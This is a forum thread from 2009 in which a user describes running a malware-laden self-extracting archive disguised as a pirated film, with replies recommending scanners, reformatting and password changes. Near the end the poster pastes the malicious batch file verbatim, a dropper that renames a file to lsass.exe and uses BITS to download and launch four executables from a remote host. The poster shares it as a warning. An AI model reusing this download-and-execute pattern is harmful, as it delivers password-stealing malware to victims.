Virus Q regards posible infection

OK i will say from the start i know where i went wrong, i downloaded it in the first place, and i seen all the warning signs any fool can recognise but still kept going (must have had brain switched off due to NAS problems i have but thats on another post!)
i'll also say i have bought the dvd of the first film for my inlaws and will be buying the 2nd for them when it come out as this is for them!

anyway, i downloaded a film (for testing purposes, or is it educational) it was in the usual rars format, extracted and inside was another bundle of rars for the same film (warning number 1 ignored) the inside rar was made as a self extracting one (BIG warning number 2) ie still a bundle of rars but the first file is in exe format, i tried to extract it using another random rar file rather than using the first .exe file, not having it, had already scanned it for virus using AVG free no warnings (idiot, idiot, idiot stop now you muppet - you KNOW its dodgy) so i think - ok just go for it there is nothing else visible when you look inside the other rar files.

anyway it seems to be some sort of installation type of extraction, but it stops after the first rar file as it cant find the rest, so i cancel it, look again and try again, still fails - make a quick note of location of temp folder its using, look there folders empty (due to me cancelling the first 2 failed attempts) 3rd time i leave the badlycoded rar extraction hanging and look in the temp folder 2 batch files and something else, so as i am looking at the batch files AVG kicks up warning virus, and another, another - appx 7 or 8 times maybe as i read the batch file i realise what looks like code to pull files from the net - so i pull my ethernet cable from my switch (but it been like maybe a couple of minutes from first attempt till disconnection of net) so no outside connection and go into panic/destroy mode for the files

all the rars are PGP'ed using wipe function, the temp folder same, used windows search function for a keyword for name, pgp'ed most of what it found - some i cant as it looks like history data or stuff like that and some files from the prefetch folder that i cant delete

then run AVG for full scan of hard drive, then download spybot S&D install and run, get adaware install & run - oh also used trends online scan, i do reboots for PC between most/all of these programs in case of rootkit install? nothing found till this point, then think for last i will use the monthly MRT from microsoft, get it to do a full scan - it finds something even after all the other just found the usual cookies, spam stuff (that i deleted anyway) it says PWS:Win32/Ldpinch.gen - (scan results) partially removed

i clicks the link as all other were "not infected" takes me to microsoft.com it says its a password stealer, and to run microsofts online scan @ http://safety.live.com/ so i am doing that just now

anyone think i am still at risk?

reason i am asking is that i had an encrypted drive mounted at the time that i do not want the contents stole (were talking financial details here) i dont want to have to scrub ALL that data and start again

someone give me some positive news or any suggestions .........

(sorry this is so long)

I find these 2 free ones good,

http://www.malwarebytes.org/mbam.php

http://www.superantispyware.com/superantispywarefree...

"reason i am asking is that i had an encrypted drive mounted at the time that i do not want the contents stole"

Yeah, stealing via the internet is a terrible thing, isn't it ?

i meant the text files contained within the drive had financial details on them smarty pants

but seriously where do you think i stand - i am slightly freaking out............

thanks - i will try them just now

dump avg!
if you can justify a few quid the kaspersky is my favorite, avaia or avast for freebies

anyone think i am still at risk?

Probably not, but I'd reformat and change all the passwords anyway. Let the prospect of having to do that be a deterrent to clicking obvious traps in the future.

You could use something like Password Safe to generate and securely store your passwords. You just have to remember one really good password to unlock the safe.

John.

For your piece of mind you could reformat and change your passwords like mentioned if it would make you feel better.Also AVG isn't that good,best free ones are Avira Antivir and Avast Home edition in my opinion.But you would be better getting a paid one,I rate and use Eset Nod32 but Kaspersky is also very good.
I also have free, Ad-Aware 2009 Anniversary,spyblaster,Malwarebytes,SuperAntispyware and good old ccleaner to clean up.

here is the details of the batch file if anyone is interested - its a good way to bypass virus killers, well the initial checks anyway - innocent file calling the internet to pull the nasties!

EDIT : Just to make it clear DO NOT DOWNLOAD THESE FILES below is the virus info

@echo off
ren lsass lsass.exe
start "" "name of film removed to avoid any issues for here.part01.exe"
net start bits
IF NOT EXIST C:\nul mkdir C:\
lsass.exe /transfer jman /download /priority high h(dontnotclick)p://binuser.fileave.com/Lux/is181845.exe "C:\Iexplor490.exe"
IF NOT EXIST C:\nul mkdir C:\
lsass.exe /transfer jman /download /priority high h(dontnotclick)p://binuser.fileave.com/IC/zhvntnlgecngmdn.exe "C:\Iexplor701.exe"
IF NOT EXIST C:\nul mkdir C:\
lsass.exe /transfer jman /download /priority high h(dontnotclick)p://binuser.fileave.com/bucks/58d3c.exe "C:\Iexplor171.exe"
IF NOT EXIST C:\nul mkdir C:\
lsass.exe /transfer jman /download /priority high h(dontnotclick)p://binuser.fileave.com/beam/natm2.exe "C:\nam.exe"
start "" "C:\Iexplor490.exe"
start "" "C:\Iexplor701.exe"
start "" "C:\Iexplor171.exe"
start "" "C:\nam.exe"

and thanks for the suggestions for buying various programs, i will look into them - i can spare a couple of quid for peace of mind for future!!!

well - more like i wont fall into such obvious traps that is what has really (insert bad word here) me right off - i knew it, but no i am so smart i know better than them...............idiot <----- points at me and repeats over and over again.......

Edited by deleted (Sat 23-May-09 20:52:32)

It's really hard to trust anyone on the net. Being relatively inexperienced, How do I know that going to the sites you suggested to download software won't infect me with something else. I'm having problems with this same thing, but don't really know enough to explain it or ask for help. The .rar files process he went through sounds somewhat familiar. It's not allowing me to delete some of the filles associated with the "bad" download. This was good info for how to know if something is potentially dangerous,